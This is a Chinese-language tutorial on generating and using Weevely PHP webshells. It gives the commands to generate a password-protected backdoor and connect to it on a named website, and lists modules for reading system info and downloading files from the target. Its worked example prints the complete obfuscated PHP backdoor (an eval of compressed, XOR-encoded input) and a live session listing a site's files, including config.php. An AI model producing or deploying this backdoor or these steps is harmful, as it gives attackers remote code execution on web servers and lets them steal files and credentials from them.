通过weevel利用webshell

# 目录

[TOC]

# 通过weevel利用webshell

## 生成PHP木马文件

### 生成文件木马文件

```bash
weevely generate 1 heck.php #1是密码；heck.php是生成的文件
```

### 连接方法

```bash
weevely http://www.caozhexxgweb.cn/sss.php 1 #先是输入url路径；1是密码
```

### 连接之后的一些操作

-audit.phpconf【查看php相关信息】

[![Kali-Weevely工具使用详解](https://www.hantao.org/wp-content/uploads/2019/05/6fa0f103d7b812a540f938d586010269.png)](https://www.hantao.org/wp-content/uploads/2019/05/6fa0f103d7b812a540f938d586010269.png)

-system_info【查看系统信息】

[![Kali-Weevely工具使用详解](https://www.hantao.org/wp-content/uploads/2019/05/f616abb12893e5330f4a4859d7bdaf4b.png)](https://www.hantao.org/wp-content/uploads/2019/05/f616abb12893e5330f4a4859d7bdaf4b.png)
 ▲Server系统也可直接使用系统命令systeminfo

-net_ifconfig【获取网卡信息】
 --PS：ifconfig主要是针对Linux操作系统，要灵活应用。如果是Win系统可以直接使用ipconfig查看。
 [![Kali-Weevely工具使用详解](https://www.hantao.org/wp-content/uploads/2019/05/fed93c3c786367033d587ae898e14456.png)](https://www.hantao.org/wp-content/uploads/2019/05/fed93c3c786367033d587ae898e14456.png)

-file_ls【列出目录中内容】

![Kali-Weevely工具使用详解](https://www.hantao.org/wp-content/uploads/2019/05/4a62cc1623a7d42c03c90bf1a38ac456.png)

-file_read【读取文件信息】

[![Kali-Weevely工具使用详解](https://www.hantao.org/wp-content/uploads/2019/05/6013a3a7164f8e8d955dd1aa6e87816e.png)](https://www.hantao.org/wp-content/uploads/2019/05/6013a3a7164f8e8d955dd1aa6e87816e.png)

-file_download【下载目标站点文件】

[![Kali-Weevely工具使用详解](https://www.hantao.org/wp-content/uploads/2019/05/2dcef22ebe6f297a414aa8ec7a21a640.png)](https://www.hantao.org/wp-content/uploads/2019/05/2dcef22ebe6f297a414aa8ec7a21a640.png)

▲file_download 下载的文件名 保存本地地址/文件名

### 栗子

```bash
root@caozheCTC:~# weevely generate 1 heck.php
Generated 'heck.php' with password '1' of 764 byte size.
root@caozheCTC:~# ls
heck.php
root@caozheCTC:~# cat heck.php 
<?php
$G='();$r=7~@ba7~se64_en7~code(@7~x(@gzcom7~pres7~s7~($o),$k7~));print("$7~p$kh$7~r$kf");}';
$k='$k=7~"c4ca47~7~238";$kh="a7~0b7~923820dcc";$k7~f="5097~a7~6f757~849b";$p=7~"gAeh4T42J';
$H='@ba7~7~7~se64_decode($m[7~17~]),$k)7~));$o=@ob_get7~_conte7~nts();@7~ob7~_end_7~clean';
$F='7~r($i=0;7~7~$i<$7~l;){for($j=0;(7~$j<$7~c&&$i<7~$7~l);$j+7~+,$i++){7~$o.7~=$t{$i}^$7~k';
$d=str_replace('U','','UUcreate_UUUfunctiUon');
$M='ntents("php7~://input")7~,$7~m)7~=7~=7~1) {@ob_start();7~@eva7~l(@gz7~uncompress(@x(';
$x='{$j7~};}}re7~tur7~n $o;}if 7~(@preg_m7~atch("/$kh7~(.+)$k7~f/",@7~fil7~e7~_get_c7~o';
$z='veAv7~KkL"7~;functio7~n x($t7~,$k){$7~c=st7~rlen(7~$k)7~;$l=strlen(7~$t);$o7~="";fo';
$g=str_replace('7~','',$k.$z.$F.$x.$M.$H.$G);
$s=$d('',$g);$s();
?>
root@caozheCTC:~# weevely http://www.caozhexxgweb.cn/sss.php 1

[+] weevely 4.0.1

[+] Target:     www.caozhexxgweb.cn
[+] Session:    /root/.weevely/sessions/www.caozhexxgweb.cn/sss_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> ls
.
..
.htaccess
.idea
.user.ini
404.html
README.md
about.php
add.php
assets
config.php
footer.php
function.php
header.php
index.php
install.lock
install.php
sss.php
submit.php

```